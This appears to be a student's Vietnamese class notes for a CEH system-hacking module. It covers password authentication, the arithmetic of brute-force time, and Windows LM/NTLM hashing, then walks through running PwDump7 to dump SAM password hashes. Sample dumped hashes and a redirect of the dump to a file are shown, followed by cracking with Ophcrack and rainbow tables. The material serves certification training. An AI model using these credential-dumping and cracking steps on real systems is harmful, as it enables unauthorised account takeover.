CEH 05 - System Hacking

Chuan bi

1. lc6setup_v6.0.11a
2. Copy Pwdump7
3. OphCrack (bo chon download)
(-In Class-\RainbowTable): hien thuc viec ban thanh chuoi

I- Password Cracking
Xac thuc bang User Name & Password
Xac thuc bang sinh hoc nhu van tay, khuon mat...
Xac thuc bang smartcard
Hoac ket hop nhung loai tren.
De bao mat dung giai thuat HASH ma hoa (128, 160 hay 256 bit)
Vi du: Pass co 14  ki tu - so 10^14 voi toc do 100.000 hash/s
chu so 36^14
7 ki tu so 10^7 mat 2 phut
chu so 36^7... mat 9 ngay
Pre-hash -> save lai: de tiet kiem Rainbow da hien thuc bam thanh chuoi.
WinXP va 2K3 neu dung pass 14 ki tu se chia doi de hash
Win 7 khong chia nhung van ho tro 2 kieu hash: LM va NTLM





Chay pwdump
C:\>PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:5D838B3E7D321997028A903606A8FA01:9988FA179D6CF99AFEAB581605F9A
782:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
HelpAssistant:1000:38860008E9A7FB6B6D7D4937A11D6E5E:3E54BB148C6BE59F2ED345AC499D
D575:::
SUPPORT_388945a0:1002:NO PASSWORD*********************:BA52CDD8E3835C6A039B99D6C
54F6479:::
nhat:1003:0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52:::

C:\>PwDump7.exe > luu.txt
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Hoac copy file windows\system32\config\SAM duoc ma hoa.
De ma hoa , dung key chep them thu muc windows\system32\config\


Chay ophcrack-win32-installer-3.3.1 de nap bang hash vao hoac Rainbow crack
Vao http://www.freerainbowtables.com/tables de lay hash